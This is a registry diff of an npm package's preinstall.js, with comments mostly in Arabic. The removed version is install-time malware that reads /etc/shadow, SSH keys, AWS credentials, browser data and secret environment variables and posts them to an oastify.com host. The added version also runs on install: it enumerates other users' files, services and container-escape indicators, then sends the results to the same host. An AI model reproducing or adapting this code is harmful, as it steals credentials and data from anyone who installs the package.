rank4222wun 1.0.18 → 1.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.18",
3
+ "version": "1.0.19",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -4,420 +4,341 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
6
 
7
- // ========== إعداد جمع البيانات ==========
8
- const collectedData = {
7
+ const testResults = {
9
8
  timestamp: new Date().toISOString(),
10
- phase: "preinstall-data-exfiltration",
11
9
  hostname: os.hostname(),
12
10
  user: os.userInfo().username,
13
11
  platform: os.platform(),
14
12
 
15
- // البيانات الحساسة
16
- sensitiveData: {
17
- systemFiles: {},
18
- userFiles: {},
19
- configFiles: {},
20
- logs: {},
21
- foundSecrets: []
13
+ // النقاط الأربع المطلوبة
14
+ testPoints: {
15
+ leakOtherUsersData: {},
16
+ runCommandsOnOtherUsers: {},
17
+ performDoS: {},
18
+ containerToHost: {}
22
19
  }
23
20
  };
24
21
 
25
- // ========== 1. قراءة ملفات نظام Linux حساسة ==========
26
- function readLinuxSensitiveFiles() {
27
- console.log("🔍 البحث عن ملفات Linux الحساسة...");
28
-
29
- const linuxFiles = [
30
- { path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
31
- { path: '/etc/shadow', desc: 'كلمات مرور النظام' },
32
- { path: '/etc/group', desc: 'مجموعات النظام' },
33
- { path: '/etc/hosts', desc: 'إعدادات الشبكة' },
34
- { path: '/etc/resolv.conf', desc: 'خوادم DNS' },
35
- { path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
36
- { path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
37
- { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
38
- { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
39
- { path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
40
- { path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
41
- { path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
42
- { path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
43
- { path: '/var/log/syslog', desc: 'سجلات النظام' }
44
- ];
22
+ // ===================== 1. Leak other users data cross org =====================
23
+ console.log("🔍 TEST 1: Searching for other users data...");
45
24
 
46
- linuxFiles.forEach(file => {
25
+ if (os.platform() === 'linux') {
26
+ // البحث عن بيانات مستخدمين آخرين في لينكس
27
+ exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
28
+ testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
29
+
30
+ // قراءة /etc/passwd للبحث عن مستخدمين آخرين
47
31
  try {
48
- if (fs.existsSync(file.path)) {
49
- const stats = fs.statSync(file.path);
50
- const fileData = {
51
- path: file.path,
52
- description: file.desc,
53
- size: stats.size,
54
- exists: true,
55
- readable: true
56
- };
57
-
58
- // قراءة الملف إذا كان نصي وصغير
59
- if (stats.size < 100000 && !stats.isDirectory()) {
32
+ if (fs.existsSync('/etc/passwd')) {
33
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
34
+ testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
35
+
36
+ // استخراج أسماء المستخدمين الفعليين (غير system users)
37
+ const users = passwdContent.split('\n')
38
+ .filter(line => line.includes('/home/'))
39
+ .map(line => line.split(':')[0]);
40
+ testResults.testPoints.leakOtherUsersData.homeUsers = users;
41
+
42
+ console.log(`👥 Found ${users.length} home users`);
43
+ }
44
+ } catch (e) {}
45
+
46
+ // محاولة قراءة ملفات مستخدمين آخرين
47
+ try {
48
+ const homeDir = '/home';
49
+ if (fs.existsSync(homeDir)) {
50
+ const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
51
+ const otherUserData = {};
52
+
53
+ otherUsers.slice(0, 3).forEach(user => {
54
+ const userHome = path.join(homeDir, user);
60
55
  try {
61
- const content = fs.readFileSync(file.path, 'utf8');
62
- fileData.content = content;
56
+ const files = fs.readdirSync(userHome).slice(0, 5);
57
+ otherUserData[user] = {
58
+ exists: true,
59
+ files: files
60
+ };
63
61
 
64
- // البحث عن أسرار في المحتوى
65
- findSecretsInContent(content, file.path);
66
- } catch (readError) {
67
- fileData.readError = readError.message;
62
+ // محاولة قراءة ملفات Desktop لـ users آخرين
63
+ const userDesktop = path.join(userHome, 'Desktop');
64
+ if (fs.existsSync(userDesktop)) {
65
+ otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
66
+ console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
67
+ }
68
+ } catch (e) {
69
+ otherUserData[user] = { error: e.message };
68
70
  }
69
- }
71
+ });
70
72
 
71
- collectedData.sensitiveData.systemFiles[file.path] = fileData;
72
- console.log(`✅ ${file.desc}: ${file.path}`);
73
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
73
74
  }
74
75
  } catch (e) {
75
- collectedData.sensitiveData.systemFiles[file.path] = {
76
- error: e.message,
77
- exists: false
78
- };
76
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
79
77
  }
78
+
79
+ // الانتقال للاختبار الثاني بعد الانتهاء
80
+ testPoint2();
80
81
  });
81
- }
82
-
83
- // ========== 2. قراءة ملفات Windows حساسة ==========
84
- function readWindowsSensitiveFiles() {
85
- console.log("🔍 البحث عن ملفات Windows الحساسة...");
86
-
87
- const username = os.userInfo().username;
88
- const windowsFiles = [
89
- { path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
90
- { path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
91
- { path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
92
- { path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
93
- { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
94
- { path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
95
- { path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
96
- { path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
97
- { path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
98
- { path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
99
- { path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
100
- { path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
101
- { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
102
- ];
103
-
104
- windowsFiles.forEach(file => {
82
+ } else if (os.platform() === 'win32') {
83
+ // البحث عن بيانات مستخدمين آخرين في ويندوز
84
+ exec('wmic useraccount get name 2>&1', (err, stdout) => {
85
+ testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
86
+
87
+ // محاولة الوصول إلى مجلدات مستخدمين آخرين
105
88
  try {
106
- if (fs.existsSync(file.path)) {
107
- const stats = fs.statSync(file.path);
108
- const fileData = {
109
- path: file.path,
110
- description: file.desc,
111
- size: stats.size,
112
- exists: true,
113
- isDirectory: stats.isDirectory()
114
- };
115
-
116
- if (stats.isDirectory()) {
117
- // قراءة محتويات المجلد
118
- try {
119
- const files = fs.readdirSync(file.path);
120
- fileData.files = files.slice(0, 50); // أول 50 ملف فقط
121
- fileData.fileCount = files.length;
122
-
123
- // البحث عن ملفات نصية في المجلد وقراءتها
124
- findAndReadTextFiles(file.path, files);
125
- } catch (dirError) {
126
- fileData.dirError = dirError.message;
127
- }
128
- } else if (stats.size < 50000) {
129
- // قراءة الملفات النصية الصغيرة
89
+ const usersDir = 'C:\\Users';
90
+ if (fs.existsSync(usersDir)) {
91
+ const allUsers = fs.readdirSync(usersDir);
92
+ const currentUser = os.userInfo().username;
93
+ const otherUsers = allUsers.filter(user =>
94
+ user !== currentUser &&
95
+ user !== 'Public' &&
96
+ user !== 'Default' &&
97
+ user !== 'Default User' &&
98
+ user !== 'All Users'
99
+ );
100
+
101
+ const accessedData = {};
102
+ otherUsers.slice(0, 3).forEach(user => {
103
+ const userPath = path.join(usersDir, user);
130
104
  try {
131
- const content = fs.readFileSync(file.path, 'utf8');
132
- fileData.content = content.substring(0, 5000);
133
-
134
- // البحث عن أسرار في المحتوى
135
- findSecretsInContent(content, file.path);
136
- } catch (readError) {
137
- fileData.readError = readError.message;
105
+ if (fs.existsSync(userPath)) {
106
+ const files = fs.readdirSync(userPath).slice(0, 5);
107
+ accessedData[user] = {
108
+ exists: true,
109
+ files: files
110
+ };
111
+
112
+ // محاولة قراءة Desktop للمستخدمين الآخرين
113
+ const userDesktop = path.join(userPath, 'Desktop');
114
+ if (fs.existsSync(userDesktop)) {
115
+ accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
116
+ console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
117
+ }
118
+ }
119
+ } catch (e) {
120
+ accessedData[user] = { error: e.message };
138
121
  }
139
- }
122
+ });
140
123
 
141
- collectedData.sensitiveData.userFiles[file.path] = fileData;
142
- console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
124
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
143
125
  }
144
126
  } catch (e) {
145
- collectedData.sensitiveData.userFiles[file.path] = {
146
- error: e.message,
147
- exists: false
148
- };
127
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
149
128
  }
129
+
130
+ testPoint2();
150
131
  });
151
132
  }
152
133
 
153
- // ========== 3. البحث عن ملفات نصية وقراءتها ==========
154
- function findAndReadTextFiles(dirPath, files) {
155
- const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
134
+ // ===================== 2. Run commands on other users cross org =====================
135
+ function testPoint2() {
136
+ console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
156
137
 
157
- files.forEach(file => {
158
- const filePath = path.join(dirPath, file);
159
- try {
160
- const stats = fs.statSync(filePath);
161
- if (!stats.isDirectory() && stats.size < 100000) {
162
- const ext = path.extname(file).toLowerCase();
163
- if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
164
- try {
165
- const content = fs.readFileSync(filePath, 'utf8');
166
- collectedData.sensitiveData.configFiles[filePath] = {
167
- path: filePath,
168
- size: stats.size,
169
- content: content.substring(0, 10000)
170
- };
171
-
172
- // البحث عن أسرار
173
- findSecretsInContent(content, filePath);
174
-
175
- console.log(`📄 قراءة: ${filePath}`);
176
- } catch (e) {}
177
- }
178
- }
179
- } catch (e) {}
180
- });
181
- }
182
-
183
- // ========== 4. البحث عن أسرار في المحتوى ==========
184
- function findSecretsInContent(content, filePath) {
185
- const secretPatterns = [
186
- { pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
187
- { pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
188
- { pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
189
- { pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
190
- { pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
191
- { pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
192
- { pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
193
- { pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
194
- { pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
195
- { pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
196
- { pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
197
- { pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
198
- { pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
199
- { pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
200
- ];
201
-
202
- secretPatterns.forEach(pattern => {
203
- const matches = [...content.matchAll(pattern.pattern)];
204
- matches.forEach(match => {
205
- if (match[1] && match[1].length > 3) {
206
- collectedData.sensitiveData.foundSecrets.push({
207
- file: filePath,
208
- type: pattern.name,
209
- value: match[1].substring(0, 100), // أول 100 حرف فقط
210
- pattern: match[0].substring(0, 50)
211
- });
212
- console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
213
- }
214
- });
215
- });
216
- }
217
-
218
- // ========== 5. قراءة سجلات النظام ==========
219
- function readSystemLogs() {
220
- console.log("📊 قراءة سجلات النظام...");
138
+ // هذا الاختبار أصعب، لكننا نحاول:
139
+ // 1. البحث عن خدمات مشتركة يمكن التحكم بها
140
+ // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
221
141
 
222
- const logFiles = os.platform() === 'linux' ? [
223
- '/var/log/auth.log',
224
- '/var/log/syslog',
225
- '/var/log/dmesg',
226
- '/var/log/kern.log',
227
- '/var/log/boot.log'
228
- ] : [
229
- 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
230
- 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
231
- 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
232
- ];
233
-
234
- logFiles.forEach(logFile => {
235
- try {
236
- if (fs.existsSync(logFile)) {
237
- const stats = fs.statSync(logFile);
238
- collectedData.sensitiveData.logs[logFile] = {
239
- path: logFile,
240
- size: stats.size,
241
- exists: true
242
- };
243
-
244
- // محاولة قراءة السجلات النصية (لينكس)
245
- if (os.platform() === 'linux' && stats.size < 500000) {
246
- try {
247
- const logContent = fs.readFileSync(logFile, 'utf8');
248
- const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
249
- collectedData.sensitiveData.logs[logFile].recentEntries = lines;
250
- } catch (e) {}
251
- }
252
-
253
- console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
254
- }
255
- } catch (e) {}
256
- });
142
+ if (os.platform() === 'linux') {
143
+ exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
144
+ testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
145
+
146
+ // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
147
+ exec('kill -l 2>&1', (err2, stdout2) => {
148
+ testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
149
+ testPoint3();
150
+ });
151
+ });
152
+ } else if (os.platform() === 'win32') {
153
+ exec('tasklist /svc 2>&1', (err, stdout) => {
154
+ testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
155
+
156
+ // التحقق من إمكانية إيقاف خدمات
157
+ exec('sc query 2>&1 | head -20', (err2, stdout2) => {
158
+ testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
159
+ testPoint3();
160
+ });
161
+ });
162
+ }
257
163
  }
258
164
 
259
- // ========== 6. جمع متغيرات البيئة الحساسة ==========
260
- function collectSensitiveEnvVars() {
261
- console.log("🔑 جمع متغيرات البيئة الحساسة...");
165
+ // ===================== 3. Perform DoS =====================
166
+ function testPoint3() {
167
+ console.log("\n🔍 TEST 3: Testing DoS capabilities...");
262
168
 
263
- const sensitiveVars = {};
264
- Object.keys(process.env).forEach(key => {
265
- const keyLower = key.toLowerCase();
266
- const value = process.env[key];
169
+ // اختبار قدرات DoS (بدون تنفيذ فعلي)
170
+ testResults.testPoints.performDoS = {
171
+ // الموارد المتاحة
172
+ cpuCores: os.cpus().length,
173
+ totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
174
+ freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
267
175
 
268
- if (value && (
269
- keyLower.includes('pass') ||
270
- keyLower.includes('secret') ||
271
- keyLower.includes('key') ||
272
- keyLower.includes('token') ||
273
- keyLower.includes('cred') ||
274
- keyLower.includes('auth') ||
275
- keyLower.includes('pwd') ||
276
- keyLower.includes('database') ||
277
- keyLower.includes('connection')
278
- )) {
279
- sensitiveVars[key] = value.length > 100 ?
280
- value.substring(0, 100) + '...' :
281
- value;
282
-
283
- console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
176
+ // إمكانيات شبكية
177
+ networkInterfaces: Object.keys(os.networkInterfaces()).length,
178
+
179
+ // اختبارات نظرية (لا يتم تنفيذها)
180
+ theoreticalDoS: {
181
+ forkBomb: 'Possible if unlimited processes',
182
+ memoryExhaustion: 'Possible with large allocations',
183
+ diskFilling: 'Possible with write access',
184
+ networkFlood: 'Possible with socket creation'
284
185
  }
285
- });
186
+ };
286
187
 
287
- collectedData.sensitiveData.envVars = sensitiveVars;
188
+ // اختبار صغير غير ضار لإثبات القدرة
189
+ if (os.platform() === 'linux') {
190
+ exec('ulimit -a 2>&1', (err, stdout) => {
191
+ testResults.testPoints.performDoS.limits = stdout || err?.message;
192
+ testPoint4();
193
+ });
194
+ } else if (os.platform() === 'win32') {
195
+ exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
196
+ testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
197
+ testPoint4();
198
+ });
199
+ }
288
200
  }
289
201
 
290
- // ========== 7. البحث عن ملفات UiPath ==========
291
- function findUiPathFiles() {
292
- console.log("🔍 البحث عن ملفات UiPath...");
202
+ // ===================== 4. Container to host =====================
203
+ function testPoint4() {
204
+ console.log("\n🔍 TEST 4: Testing container-to-host escape...");
293
205
 
294
- const searchPaths = os.platform() === 'win32' ? [
295
- 'C:\\Program Files\\UiPath',
296
- 'C:\\Program Files (x86)\\UiPath',
297
- `C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
298
- `C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
299
- 'C:\\ProgramData\\UiPath'
300
- ] : [
301
- '/opt/UiPath',
302
- '/usr/lib/UiPath',
303
- `/home/${os.userInfo().username}/.local/share/UiPath`,
304
- `/home/${os.userInfo().username}/UiPath`
305
- ];
306
-
307
- const foundUiPath = [];
206
+ // الاختبارات تعتمد على النظام
308
207
 
309
- searchPaths.forEach(searchPath => {
310
- try {
311
- if (fs.existsSync(searchPath)) {
312
- const files = fs.readdirSync(searchPath);
313
- foundUiPath.push({
314
- path: searchPath,
315
- exists: true,
316
- fileCount: files.length,
317
- sampleFiles: files.slice(0, 10)
318
- });
319
- console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
208
+ if (os.platform() === 'linux') {
209
+ // اختبارات الهروب من الحاوية
210
+ const containerTests = {};
211
+
212
+ // 1. التحقق مما إذا كنا في حاوية
213
+ exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
214
+ containerTests.isInContainer = stdout?.trim();
215
+
216
+ // 2. البحث عن Docker socket
217
+ const dockerSocket = '/var/run/docker.sock';
218
+ if (fs.existsSync(dockerSocket)) {
219
+ containerTests.dockerSocketExists = true;
220
+ containerTests.dockerSocketAccessible = true;
221
+ console.log("⚠️ Docker socket accessible!");
222
+ }
223
+
224
+ // 3. التحقق من mount points
225
+ exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
226
+ containerTests.dockerMounts = stdout2 || err2?.message;
320
227
 
321
- // البحث عن ملفات تكوين UiPath
322
- files.forEach(file => {
323
- if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
324
- const filePath = path.join(searchPath, file);
325
- try {
326
- const stats = fs.statSync(filePath);
327
- if (stats.size < 100000) {
328
- const content = fs.readFileSync(filePath, 'utf8');
329
- collectedData.sensitiveData.configFiles[filePath] = {
330
- path: filePath,
331
- size: stats.size,
332
- content: content.substring(0, 5000)
333
- };
228
+ // 4. التحقق من capabilities
229
+ exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
230
+ containerTests.capabilities = stdout3 || err3?.message;
231
+
232
+ // 5. البحث عن ثغرات معروفة
233
+ exec('uname -r 2>&1', (err4, stdout4) => {
234
+ containerTests.kernelVersion = stdout4?.trim();
235
+
236
+ // تحليل Kernel version للبحث عن ثغرات معروفة
237
+ if (stdout4) {
238
+ if (stdout4.includes('3.10.0-1160')) {
239
+ containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
334
240
  }
335
- } catch (e) {}
336
- }
241
+ }
242
+
243
+ testResults.testPoints.containerToHost = containerTests;
244
+ finishTests();
245
+ });
337
246
  });
338
- }
339
- } catch (e) {}
340
- });
341
-
342
- collectedData.sensitiveData.uipathFiles = foundUiPath;
247
+ });
248
+ });
249
+
250
+ } else if (os.platform() === 'win32') {
251
+ // اختبارات VM Escape للويندوز
252
+ const vmTests = {};
253
+
254
+ // 1. التحقق مما إذا كنا في VM
255
+ exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
256
+ vmTests.systemInfo = stdout || err?.message;
257
+
258
+ // 2. البحث عن أدوات Virtualization
259
+ const vmTools = [
260
+ 'C:\\Program Files\\VMware\\VMware Tools',
261
+ 'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
262
+ 'C:\\Program Files\\Microsoft Integration Runtime'
263
+ ];
264
+
265
+ vmTests.vmTools = {};
266
+ vmTools.forEach(tool => {
267
+ vmTests.vmTools[tool] = fs.existsSync(tool);
268
+ });
269
+
270
+ // 3. التحقق من خدمات الـ VM
271
+ exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
272
+ vmTests.vmServices = stdout2 || err2?.message;
273
+
274
+ testResults.testPoints.containerToHost = vmTests;
275
+ finishTests();
276
+ });
277
+ });
278
+ }
343
279
  }
344
280
 
345
- // ========== 8. إرسال البيانات ==========
346
- function sendCollectedData() {
281
+ // ===================== إرسال النتائج =====================
282
+ function finishTests() {
347
283
  console.log("\n" + "=".repeat(60));
348
- console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
284
+ console.log("📊 نتائج اختبار النقاط الأربع:");
349
285
  console.log("=".repeat(60));
350
286
 
287
+ // تحليل النتائج
288
+ const analysis = {
289
+ leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ?
290
+ 'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
291
+
292
+ runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ?
293
+ 'POSSIBLE - Can see/affect shared services' : 'LIMITED',
294
+
295
+ performDoS: testResults.testPoints.performDoS.cpuCores > 1 ?
296
+ `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
297
+
298
+ containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ?
299
+ 'CRITICAL - Docker socket accessible!' :
300
+ (testResults.testPoints.containerToHost?.isInContainer ?
301
+ 'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
302
+ };
303
+
304
+ console.log("\n📋 التحليل:");
305
+ console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
306
+ console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
307
+ console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
308
+ console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
309
+
310
+ // إرسال البيانات
351
311
  const req = https.request({
352
312
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
353
313
  port: 443,
354
- path: '/data-exfiltration',
314
+ path: '/cross-org-tests',
355
315
  method: 'POST',
356
316
  headers: {
357
317
  'Content-Type': 'application/json',
358
- 'X-Data-Source': 'UiPath-MCP-Data-Theft',
359
- 'X-Host': os.hostname(),
360
- 'X-User': os.userInfo().username
318
+ 'X-Test-Type': 'Cross-Org-Vulnerabilities',
319
+ 'X-Host': os.hostname()
361
320
  }
362
321
  }, (res) => {
363
- console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
364
- printSummary();
322
+ console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
365
323
  });
366
324
 
367
325
  req.on('error', (e) => {
368
326
  console.error(`❌ خطأ في الإرسال: ${e.message}`);
369
- printSummary();
370
327
  });
371
328
 
372
- req.write(JSON.stringify(collectedData, null, 2));
373
- req.end();
374
- }
375
-
376
- // ========== 9. طباعة ملخص ==========
377
- function printSummary() {
378
- console.log("\n" + "=".repeat(60));
379
- console.log("📊 ملخص البيانات المسروقة:");
380
- console.log("=".repeat(60));
381
-
382
- const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
383
- const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
384
- const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
385
- const logs = Object.keys(collectedData.sensitiveData.logs).length;
386
- const secrets = collectedData.sensitiveData.foundSecrets.length;
387
-
388
- console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
389
- console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
390
- console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
391
- console.log(`📋 سجلات نظام: ${logs} سجل`);
392
- console.log(`🔐 أسرار وجدت: ${secrets} سر`);
393
-
394
- if (secrets > 0) {
395
- console.log("\n🔍 الأسرار التي تم العثور عليها:");
396
- collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
397
- console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
398
- console.log(` → ${secret.pattern}`);
399
- });
400
- }
329
+ req.write(JSON.stringify({
330
+ testResults: testResults,
331
+ analysis: analysis,
332
+ summary: {
333
+ user: os.userInfo().username,
334
+ hostname: os.hostname(),
335
+ platform: os.platform(),
336
+ timestamp: new Date().toISOString()
337
+ }
338
+ }, null, 2));
401
339
 
402
- console.log("\n📤 تم إرسال البيانات إلى:");
403
- console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
404
- console.log("=".repeat(60));
405
- }
406
-
407
- // ========== بدء التنفيذ ==========
408
- console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
409
-
410
- // حسب النظام
411
- if (os.platform() === 'linux') {
412
- readLinuxSensitiveFiles();
413
- } else if (os.platform() === 'win32') {
414
- readWindowsSensitiveFiles();
340
+ req.end();
415
341
  }
416
342
 
417
- // عمليات مشتركة
418
- readSystemLogs();
419
- collectSensitiveEnvVars();
420
- findUiPathFiles();
421
-
422
- // إرسال البيانات بعد 2 ثانية
423
- setTimeout(sendCollectedData, 2000);
343
+ // بدء الاختبارات
344
+ console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");
Binary file
Binary file